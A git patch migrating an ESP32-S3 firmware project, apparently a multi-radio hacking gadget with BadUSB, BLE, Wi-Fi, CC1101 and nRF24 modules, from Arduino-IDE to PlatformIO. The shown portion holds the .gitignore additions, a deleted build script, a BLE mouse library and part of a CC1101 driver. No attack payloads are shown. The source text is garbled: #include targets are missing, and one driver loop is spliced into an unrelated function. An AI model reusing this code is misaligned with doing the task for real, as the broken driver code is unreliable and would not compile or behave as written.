From f34b1e2fbd94bcc8d0ee2e2e2e43e214d0b329a1 Mon Sep 17 00:00:00 2001 From: krolyxon Date: Mon, 11 May 2026 14:01:44 +0530 Subject: Migrate to PlatformIO Now since i have been able to make PSRAM working with platformio, i don't have to use this shitty Arduino-IDE anymore which does not even allow me to use subfolders like a normal programmer would do --- .gitignore | 72 ++ build.sh | 63 -- firmware/BleConnectionStatus.cpp | 18 - firmware/BleConnectionStatus.h | 21 - firmware/BleMouse.cpp | 173 ---- firmware/BleMouse.h | 45 - firmware/ELECHOUSE_CC1101_SRC_DRV.cpp | 1309 ------------------------ firmware/ELECHOUSE_CC1101_SRC_DRV.h | 194 ---- firmware/badusb.cpp | 398 ------- firmware/badusb.h | 5 - firmware/ble_mouse.cpp | 74 -- firmware/ble_mouse.h | 3 - firmware/blescanner.cpp | 209 ---- firmware/blescanner.h | 5 - firmware/buttons.cpp | 20 - firmware/buttons.h | 10 - firmware/cc1101.cpp | 150 --- firmware/cc1101.h | 9 - firmware/config.h | 48 - firmware/device_check.cpp | 193 ---- firmware/device_check.h | 3 - firmware/display.cpp | 16 - firmware/display.h | 7 - firmware/firmware.ino | 128 --- firmware/menu.cpp | 402 -------- firmware/menu.h | 10 - firmware/nrf24.cpp | 249 ----- firmware/nrf24.h | 13 - firmware/sysinfo.cpp | 87 -- firmware/sysinfo.h | 3 - firmware/wifi_analyzer.cpp | 147 --- firmware/wifi_analyzer.h | 4 - firmware/wifi_scan.cpp | 152 --- firmware/wifi_scan.h | 5 - platformio.ini | 25 + src/badusb.cpp | 398 +++++++ src/badusb.h | 5 + src/ble_mouse.cpp | 74 ++ src/ble_mouse.h | 3 + src/blescanner.cpp | 209 ++++ src/blescanner.h | 5 + src/buttons.cpp | 20 + src/buttons.h | 10 + src/config.h | 48 + src/device_check.cpp | 207 ++++ src/device_check.h | 3 + src/libs/Adafruit_PN532.cpp | 1820 +++++++++++++++++++++++++++++++++ src/libs/Adafruit_PN532.h | 223 ++++ src/libs/BleConnectionStatus.cpp | 18 + src/libs/BleConnectionStatus.h | 21 + src/libs/BleMouse.cpp | 173 ++++ src/libs/BleMouse.h | 45 + src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp | 1309 ++++++++++++++++++++++++ src/libs/ELECHOUSE_CC1101_SRC_DRV.h | 194 ++++ src/main.cpp | 142 +++ src/nfc.cpp | 117 +++ src/nfc.h | 4 + src/rf/cc1101.cpp | 205 ++++ src/rf/cc1101.h | 9 + src/rf/nrf24.cpp | 249 +++++ src/rf/nrf24.h | 13 + src/sysinfo.cpp | 87 ++ src/sysinfo.h | 3 + src/ui/display.cpp | 16 + src/ui/display.h | 7 + src/ui/menu.cpp | 402 ++++++++ src/ui/menu.h | 10 + src/wifi/wifi_analyzer.cpp | 147 +++ src/wifi/wifi_analyzer.h | 4 + src/wifi/wifi_scan.cpp | 152 +++ src/wifi/wifi_scan.h | 5 + test/Adafruit_PN532.cpp | 1820 +++++++++++++++++++++++++++++++++ test/Adafruit_PN532.h | 223 ++++ test/ELECHOUSE_CC1101_SRC_DRV.cpp | 1309 ++++++++++++++++++++++++ test/ELECHOUSE_CC1101_SRC_DRV.h | 194 ++++ test/test.ino | 267 +++++ 76 files changed, 10267 insertions(+), 4173 deletions(-) delete mode 100644 build.sh delete mode 100644 firmware/BleConnectionStatus.cpp delete mode 100644 firmware/BleConnectionStatus.h delete mode 100644 firmware/BleMouse.cpp delete mode 100644 firmware/BleMouse.h delete mode 100644 firmware/ELECHOUSE_CC1101_SRC_DRV.cpp delete mode 100644 firmware/ELECHOUSE_CC1101_SRC_DRV.h delete mode 100644 firmware/badusb.cpp delete mode 100644 firmware/badusb.h delete mode 100644 firmware/ble_mouse.cpp delete mode 100644 firmware/ble_mouse.h delete mode 100644 firmware/blescanner.cpp delete mode 100644 firmware/blescanner.h delete mode 100644 firmware/buttons.cpp delete mode 100644 firmware/buttons.h delete mode 100644 firmware/cc1101.cpp delete mode 100644 firmware/cc1101.h delete mode 100644 firmware/config.h delete mode 100644 firmware/device_check.cpp delete mode 100644 firmware/device_check.h delete mode 100644 firmware/display.cpp delete mode 100644 firmware/display.h delete mode 100644 firmware/firmware.ino delete mode 100644 firmware/menu.cpp delete mode 100644 firmware/menu.h delete mode 100644 firmware/nrf24.cpp delete mode 100644 firmware/nrf24.h delete mode 100644 firmware/sysinfo.cpp delete mode 100644 firmware/sysinfo.h delete mode 100644 firmware/wifi_analyzer.cpp delete mode 100644 firmware/wifi_analyzer.h delete mode 100644 firmware/wifi_scan.cpp delete mode 100644 firmware/wifi_scan.h create mode 100644 platformio.ini create mode 100644 src/badusb.cpp create mode 100644 src/badusb.h create mode 100644 src/ble_mouse.cpp create mode 100644 src/ble_mouse.h create mode 100644 src/blescanner.cpp create mode 100644 src/blescanner.h create mode 100644 src/buttons.cpp create mode 100644 src/buttons.h create mode 100644 src/config.h create mode 100644 src/device_check.cpp create mode 100644 src/device_check.h create mode 100644 src/libs/Adafruit_PN532.cpp create mode 100644 src/libs/Adafruit_PN532.h create mode 100644 src/libs/BleConnectionStatus.cpp create mode 100644 src/libs/BleConnectionStatus.h create mode 100644 src/libs/BleMouse.cpp create mode 100644 src/libs/BleMouse.h create mode 100644 src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp create mode 100644 src/libs/ELECHOUSE_CC1101_SRC_DRV.h create mode 100644 src/main.cpp create mode 100644 src/nfc.cpp create mode 100644 src/nfc.h create mode 100644 src/rf/cc1101.cpp create mode 100644 src/rf/cc1101.h create mode 100644 src/rf/nrf24.cpp create mode 100644 src/rf/nrf24.h create mode 100644 src/sysinfo.cpp create mode 100644 src/sysinfo.h create mode 100644 src/ui/display.cpp create mode 100644 src/ui/display.h create mode 100644 src/ui/menu.cpp create mode 100644 src/ui/menu.h create mode 100644 src/wifi/wifi_analyzer.cpp create mode 100644 src/wifi/wifi_analyzer.h create mode 100644 src/wifi/wifi_scan.cpp create mode 100644 src/wifi/wifi_scan.h create mode 100644 test/Adafruit_PN532.cpp create mode 100644 test/Adafruit_PN532.h create mode 100644 test/ELECHOUSE_CC1101_SRC_DRV.cpp create mode 100644 test/ELECHOUSE_CC1101_SRC_DRV.h create mode 100644 test/test.ino diff --git a/.gitignore b/.gitignore index 401d1aa..1167fab 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,75 @@ documentation # Clangd cache .cache + + +# Compiled object files +*.o +*.obj + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.a +*.lib + +# Shared objects +*.so +*.dylib +*.dll + +# Executables +*.exe +*.out +*.app + +# PlatformIO +.pio/ +.piolibdeps/ +.vscode/.browse.c_cpp.db* +.vscode/c_cpp_properties.json +.vscode/launch.json +.vscode/ipch + +# macOS +.DS_Store + +# Linux +*~ + +# Windows +Thumbs.db +ehthumbs.db +Desktop.ini + +# Logs +*.log + +# Temporary files +*.tmp +*.temp +*.bak +*.swp + +# Environment files +.env +.env.* + +# Python cache (if using scripts/tools) +__pycache__/ +*.pyc + +# Arduino IDE leftovers +*.ino.cpp + +# Build directories +build/ +dist/ + +# Coverage +coverage/ +*.gcda +*.gcno +*.gcov diff --git a/build.sh b/build.sh deleted file mode 100644 index 3745a7c..0000000 --- a/build.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env bash - -set -e - -# ========= CONFIG ========= -PORT="/dev/ttyACM0" - -FQBN="esp32:esp32:esp32s3:\ -UploadSpeed=921600,\ -USBMode=hwcdc,\ -CDCOnBoot=default,\ -MSCOnBoot=default,\ -DFUOnBoot=default,\ -UploadMode=default,\ -CPUFreq=240,\ -FlashMode=qio,\ -FlashSize=16M,\ -PartitionScheme=fatflash,\ -DebugLevel=none,\ -PSRAM=opi,\ -LoopCore=1,\ -EventsCore=1,\ -EraseFlash=none,\ -JTAGAdapter=default,\ -ZigbeeMode=default" - -# ========= FLAGS ========= -UPLOAD=false -SKETCH_PATH="./firmware" - -while [[ $# -gt 0 ]]; do - case "$1" in - -u|--upload) - UPLOAD=true - shift - ;; - *) - SKETCH_PATH="$1" - shift - ;; - esac -done - -# ========= BUILD ========= -echo "Compiling sketch..." - -arduino-cli compile \ - --fqbn "$FQBN" \ - "$SKETCH_PATH" - -echo "Compile successful." - -# ========= UPLOAD ========= -if [ "$UPLOAD" = true ]; then - echo "Uploading to $PORT..." - - arduino-cli upload \ - -p "$PORT" \ - --fqbn "$FQBN" \ - "$SKETCH_PATH" - - echo "Upload complete." -fi diff --git a/firmware/BleConnectionStatus.cpp b/firmware/BleConnectionStatus.cpp deleted file mode 100644 index f01183b..0000000 --- a/firmware/BleConnectionStatus.cpp +++ /dev/null @@ -1,18 +0,0 @@ -#include "BleConnectionStatus.h" - -BleConnectionStatus::BleConnectionStatus(void) { -} - -void BleConnectionStatus::onConnect(BLEServer* pServer) -{ - this->connected = true; - BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); - desc->setNotifications(true); -} - -void BleConnectionStatus::onDisconnect(BLEServer* pServer) -{ - this->connected = false; - BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); - desc->setNotifications(false); -} diff --git a/firmware/BleConnectionStatus.h b/firmware/BleConnectionStatus.h deleted file mode 100644 index b703150..0000000 --- a/firmware/BleConnectionStatus.h +++ /dev/null @@ -1,21 +0,0 @@ -#ifndef ESP32_BLE_CONNECTION_STATUS_H -#define ESP32_BLE_CONNECTION_STATUS_H -#include "sdkconfig.h" -#if defined(CONFIG_BT_ENABLED) - -#include -#include "BLE2902.h" -#include "BLECharacteristic.h" - -class BleConnectionStatus : public BLEServerCallbacks -{ -public: - BleConnectionStatus(void); - bool connected = false; - void onConnect(BLEServer* pServer); - void onDisconnect(BLEServer* pServer); - BLECharacteristic* inputMouse; -}; - -#endif // CONFIG_BT_ENABLED -#endif // ESP32_BLE_CONNECTION_STATUS_H diff --git a/firmware/BleMouse.cpp b/firmware/BleMouse.cpp deleted file mode 100644 index 84971ed..0000000 --- a/firmware/BleMouse.cpp +++ /dev/null @@ -1,173 +0,0 @@ -#include -#include -#include -#include "BLE2902.h" -#include "BLEHIDDevice.h" -#include "HIDTypes.h" -#include "HIDKeyboardTypes.h" -#include -#include "sdkconfig.h" - -#include "BleConnectionStatus.h" -#include "BleMouse.h" - -#if defined(CONFIG_ARDUHAL_ESP_LOG) - #include "esp32-hal-log.h" - #define LOG_TAG "" -#else - #include "esp_log.h" - static const char* LOG_TAG = "BLEDevice"; -#endif - -static const uint8_t _hidReportDescriptor[] = { - USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) - USAGE(1), 0x02, // USAGE (Mouse) - COLLECTION(1), 0x01, // COLLECTION (Application) - USAGE(1), 0x01, // USAGE (Pointer) - COLLECTION(1), 0x00, // COLLECTION (Physical) - // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward) - USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button) - USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) - USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) - LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) - LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) - REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) - REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) - HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits - // ------------------------------------------------- Padding - REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) - REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) - HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding - // ------------------------------------------------- X/Y position, Wheel - USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) - USAGE(1), 0x30, // USAGE (X) - USAGE(1), 0x31, // USAGE (Y) - USAGE(1), 0x38, // USAGE (Wheel) - LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) - LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) - REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) - REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) - HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) - // ------------------------------------------------- Horizontal wheel - USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) - USAGE(2), 0x38, 0x02, // USAGE (AC Pan) - LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) - LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) - REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) - REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) - HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) - END_COLLECTION(0), // END_COLLECTION - END_COLLECTION(0) // END_COLLECTION -}; - -BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) : - _buttons(0), - hid(0) -{ - this->deviceName = deviceName; - this->deviceManufacturer = deviceManufacturer; - this->batteryLevel = batteryLevel; - this->connectionStatus = new BleConnectionStatus(); -} - -void BleMouse::begin(void) -{ - xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); -} - -void BleMouse::end(void) -{ -} - -void BleMouse::click(uint8_t b) -{ - _buttons = b; - move(0,0,0,0); - _buttons = 0; - move(0,0,0,0); -} - -void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel) -{ - if (this->isConnected()) - { - uint8_t m[5]; - m[0] = _buttons; - m[1] = x; - m[2] = y; - m[3] = wheel; - m[4] = hWheel; - this->inputMouse->setValue(m, 5); - this->inputMouse->notify(); - } -} - -void BleMouse::buttons(uint8_t b) -{ - if (b != _buttons) - { - _buttons = b; - move(0,0,0,0); - } -} - -void BleMouse::press(uint8_t b) -{ - buttons(_buttons | b); -} - -void BleMouse::release(uint8_t b) -{ - buttons(_buttons & ~b); -} - -bool BleMouse::isPressed(uint8_t b) -{ - if ((b & _buttons) > 0) - return true; - return false; -} - -bool BleMouse::isConnected(void) { - return this->connectionStatus->connected; -} - -void BleMouse::setBatteryLevel(uint8_t level) { - this->batteryLevel = level; - if (hid != 0) - this->hid->setBatteryLevel(this->batteryLevel); -} - -void BleMouse::taskServer(void* pvParameter) { - BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast(pvParameter); - BLEDevice::init(String(bleMouseInstance->deviceName.c_str())); - BLEServer *pServer = BLEDevice::createServer(); - pServer->setCallbacks(bleMouseInstance->connectionStatus); - - bleMouseInstance->hid = new BLEHIDDevice(pServer); - bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map - bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse; - - bleMouseInstance->hid->manufacturer()->setValue(String(bleMouseInstance->deviceManufacturer.c_str())); - - bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); - bleMouseInstance->hid->hidInfo(0x00,0x02); - - BLESecurity *pSecurity = new BLESecurity(); - - pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); - - bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor)); - bleMouseInstance->hid->startServices(); - - bleMouseInstance->onStarted(pServer); - - BLEAdvertising *pAdvertising = pServer->getAdvertising(); - pAdvertising->setAppearance(HID_MOUSE); - pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID()); - pAdvertising->start(); - bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); - - ESP_LOGD(LOG_TAG, "Advertising started!"); - vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY); -} diff --git a/firmware/BleMouse.h b/firmware/BleMouse.h deleted file mode 100644 index 8b4ab9b..0000000 --- a/firmware/BleMouse.h +++ /dev/null @@ -1,45 +0,0 @@ -#ifndef ESP32_BLE_MOUSE_H -#define ESP32_BLE_MOUSE_H -#include "sdkconfig.h" -#if defined(CONFIG_BT_ENABLED) - -#include "BleConnectionStatus.h" -#include "BLEHIDDevice.h" -#include "BLECharacteristic.h" - -#define MOUSE_LEFT 1 -#define MOUSE_RIGHT 2 -#define MOUSE_MIDDLE 4 -#define MOUSE_BACK 8 -#define MOUSE_FORWARD 16 -#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library - -class BleMouse { -private: - uint8_t _buttons; - BleConnectionStatus* connectionStatus; - BLEHIDDevice* hid; - BLECharacteristic* inputMouse; - void buttons(uint8_t b); - void rawAction(uint8_t msg[], char msgSize); - static void taskServer(void* pvParameter); -public: - BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100); - void begin(void); - void end(void); - void click(uint8_t b = MOUSE_LEFT); - void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0); - void press(uint8_t b = MOUSE_LEFT); // press LEFT by default - void release(uint8_t b = MOUSE_LEFT); // release LEFT by default - bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default - bool isConnected(void); - void setBatteryLevel(uint8_t level); - uint8_t batteryLevel; - std::string deviceManufacturer; - std::string deviceName; -protected: - virtual void onStarted(BLEServer *pServer) { }; -}; - -#endif // CONFIG_BT_ENABLED -#endif // ESP32_BLE_MOUSE_H diff --git a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp b/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp deleted file mode 100644 index 5568989..0000000 --- a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp +++ /dev/null @@ -1,1309 +0,0 @@ -/* - ELECHOUSE_CC1101.cpp - CC1101 module library - Copyright (c) 2010 Michael. - Author: Michael, - Version: November 12, 2010 - - This library is designed to use CC1101/CC1100 module on Arduino platform. - CC1101/CC1100 module is an useful wireless module.Using the functions of the - library, you can easily send and receive data by the CC1101/CC1100 module. - Just have fun! - For the details, please refer to the datasheet of CC1100/CC1101. ----------------------------------------------------------------------------------------------------------------- -cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). ----------------------------------------------------------------------------------------------------------------- -*/ -#include -#include "ELECHOUSE_CC1101_SRC_DRV.h" -#include - -/****************************************************************/ -#define WRITE_BURST 0x40 //write burst -#define READ_SINGLE 0x80 //read single -#define READ_BURST 0xC0 //read burst -#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo -#define max_modul 6 - -SPIClass CCSPI(HSPI); - -byte modulation = 2; -byte frend0; -byte chan = 0; -int pa = 12; -byte last_pa; -byte SCK_PIN; -byte MISO_PIN; -byte MOSI_PIN; -byte SS_PIN; -byte GDO0; -byte GDO2; -byte SCK_PIN_M[max_modul]; -byte MISO_PIN_M[max_modul]; -byte MOSI_PIN_M[max_modul]; -byte SS_PIN_M[max_modul]; -byte GDO0_M[max_modul]; -byte GDO2_M[max_modul]; -byte gdo_set=0; -bool spi = 0; -bool ccmode = 0; -float MHz = 433.92; -byte m4RxBw = 0; -byte m4DaRa; -byte m2DCOFF; -byte m2MODFM; -byte m2MANCH; -byte m2SYNCM; -byte m1FEC; -byte m1PRE; -byte m1CHSP; -byte pc1PQT; -byte pc1CRC_AF; -byte pc1APP_ST; -byte pc1ADRCHK; -byte pc0WDATA; -byte pc0PktForm; -byte pc0CRC_EN; -byte pc0LenConf; -byte trxstate = 0; -byte clb1[2]= {24,28}; -byte clb2[2]= {31,38}; -byte clb3[2]= {65,76}; -byte clb4[2]= {77,79}; - -/****************************************************************/ -uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; -// -30 -20 -15 -10 0 5 7 10 -uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 -uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 -// -30 -20 -15 -10 -6 0 5 7 10 12 -uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 -// -30 -20 -15 -10 -6 0 5 7 10 11 -uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 -/**************************************************************** -*FUNCTION NAME:SpiStart -*FUNCTION :spi communication start -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiStart(void) -{ - // initialize the SPI pins - pinMode(SCK_PIN, OUTPUT); - pinMode(MOSI_PIN, OUTPUT); - pinMode(MISO_PIN, INPUT); - pinMode(SS_PIN, OUTPUT); - - // enable SPI - #ifdef ESP32 - CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN); - #else - CCSPI.begin(); - #endif -} -/**************************************************************** -*FUNCTION NAME:SpiEnd -*FUNCTION :spi communication disable -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiEnd(void) -{ - // disable SPI - CCSPI.endTransaction(); - CCSPI.end(); -} -/**************************************************************** -*FUNCTION NAME: GDO_Set() -*FUNCTION : set GDO0,GDO2 pin for serial pinmode. -*INPUT : none -*OUTPUT : none -****************************************************************/ -void ELECHOUSE_CC1101::GDO_Set (void) -{ - pinMode(GDO0, OUTPUT); - pinMode(GDO2, INPUT); -} -/**************************************************************** -*FUNCTION NAME: GDO_Set() -*FUNCTION : set GDO0 for internal transmission mode. -*INPUT : none -*OUTPUT : none -****************************************************************/ -void ELECHOUSE_CC1101::GDO0_Set (void) -{ - pinMode(GDO0, INPUT); -} -/**************************************************************** -*FUNCTION NAME:Reset -*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100// -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Reset (void) -{ - digitalWrite(SS_PIN, LOW); - delay(1); - digitalWrite(SS_PIN, HIGH); - delay(1); - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(CC1101_SRES); - while(digitalRead(MISO_PIN)); - digitalWrite(SS_PIN, HIGH); -} -/**************************************************************** -*FUNCTION NAME:Init -*FUNCTION :CC1101 initialization -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Init(void) -{ - setSpi(); - SpiStart(); //spi initialization - digitalWrite(SS_PIN, HIGH); - digitalWrite(SCK_PIN, HIGH); - digitalWrite(MOSI_PIN, LOW); - Reset(); //CC1101 reset - RegConfigSettings(); //CC1101 register config - SpiEnd(); -} -/**************************************************************** -*FUNCTION NAME:SpiWriteReg -*FUNCTION :CC1101 write data to register -*INPUT :addr: register address; value: register value -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) -{ - SpiStart(); - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(addr); - CCSPI.transfer(value); - digitalWrite(SS_PIN, HIGH); - SpiEnd(); -} -/**************************************************************** -*FUNCTION NAME:SpiWriteBurstReg -*FUNCTION :CC1101 write burst data to register -*INPUT :addr: register address; buffer:register value array; num:number to write -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) -{ - byte i, temp; - SpiStart(); - temp = addr | WRITE_BURST; - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(temp); - for (i = 0; i < num; i++) - { - CCSPI.transfer(buffer[i]); - } - digitalWrite(SS_PIN, HIGH); - SpiEnd(); -} -/**************************************************************** -*FUNCTION NAME:SpiStrobe -*FUNCTION :CC1101 Strobe -*INPUT :strobe: command; //refer define in CC1101.h// -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiStrobe(byte strobe) -{ - SpiStart(); - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(strobe); - digitalWrite(SS_PIN, HIGH); - SpiEnd(); -} -/**************************************************************** -*FUNCTION NAME:SpiReadReg -*FUNCTION :CC1101 read data from register -*INPUT :addr: register address -*OUTPUT :register value -****************************************************************/ -byte ELECHOUSE_CC1101::SpiReadReg(byte addr) -{ - byte temp, value; - SpiStart(); - temp = addr| READ_SINGLE; - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(temp); - value=CCSPI.transfer(0); - digitalWrite(SS_PIN, HIGH); - SpiEnd(); - return value; -} - -/**************************************************************** -*FUNCTION NAME:SpiReadBurstReg -*FUNCTION :CC1101 read burst data from register -*INPUT :addr: register address; buffer:array to store register value; num: number to read -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) -{ - byte i,temp; - SpiStart(); - temp = addr | READ_BURST; - digitalWrite(SS_PIN, LOW); - while(digitalRead(MISO_PIN)); - CCSPI.transfer(temp); - for(i=0;i4){m=4;} -modulation = m; -Split_MDMCFG2(); -switch (m) -{ -case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK -case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK -case 2: m2MODFM=0x30; frend0=0x11; break; // ASK -case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK -case 4: m2MODFM=0x70; frend0=0x10; break; // MSK -} -SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); -SpiWriteReg(CC1101_FREND0, frend0); -setPA(pa); -} -/**************************************************************** -*FUNCTION NAME:PA Power -*FUNCTION :set CC1101 PA Power -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setPA(int p) -{ -int a; -pa = p; - -if (MHz >= 300 && MHz <= 348){ -if (pa <= -30){a = PA_TABLE_315[0];} -else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];} -else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];} -else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];} -else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];} -else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];} -else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];} -else if (pa > 7){a = PA_TABLE_315[7];} -last_pa = 1; -} -else if (MHz >= 378 && MHz <= 464){ -if (pa <= -30){a = PA_TABLE_433[0];} -else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];} -else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];} -else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];} -else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];} -else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];} -else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];} -else if (pa > 7){a = PA_TABLE_433[7];} -last_pa = 2; -} -else if (MHz >= 779 && MHz <= 899.99){ -if (pa <= -30){a = PA_TABLE_868[0];} -else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];} -else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];} -else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];} -else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];} -else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];} -else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];} -else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];} -else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];} -else if (pa > 10){a = PA_TABLE_868[9];} -last_pa = 3; -} -else if (MHz >= 900 && MHz <= 928){ -if (pa <= -30){a = PA_TABLE_915[0];} -else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];} -else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];} -else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];} -else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];} -else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];} -else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];} -else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];} -else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];} -else if (pa > 10){a = PA_TABLE_915[9];} -last_pa = 4; -} -if (modulation == 2){ -PA_TABLE[0] = 0; -PA_TABLE[1] = a; -}else{ -PA_TABLE[0] = a; -PA_TABLE[1] = 0; -} -SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); -} -/**************************************************************** -*FUNCTION NAME:Frequency Calculator -*FUNCTION :Calculate the basic frequency. -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setMHZ(float mhz){ -byte freq2 = 0; -byte freq1 = 0; -byte freq0 = 0; - -MHz = mhz; - -for (bool i = 0; i==0;){ -if (mhz >= 26){ -mhz-=26; -freq2+=1; -} -else if (mhz >= 0.1015625){ -mhz-=0.1015625; -freq1+=1; -} -else if (mhz >= 0.00039675){ -mhz-=0.00039675; -freq0+=1; -} -else{i=1;} -} -if (freq0 > 255){freq1+=1;freq0-=256;} - -SpiWriteReg(CC1101_FREQ2, freq2); -SpiWriteReg(CC1101_FREQ1, freq1); -SpiWriteReg(CC1101_FREQ0, freq0); - -Calibrate(); -} -/**************************************************************** -*FUNCTION NAME:Calibrate -*FUNCTION :Calibrate frequency -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Calibrate(void){ - -if (MHz >= 300 && MHz <= 348){ 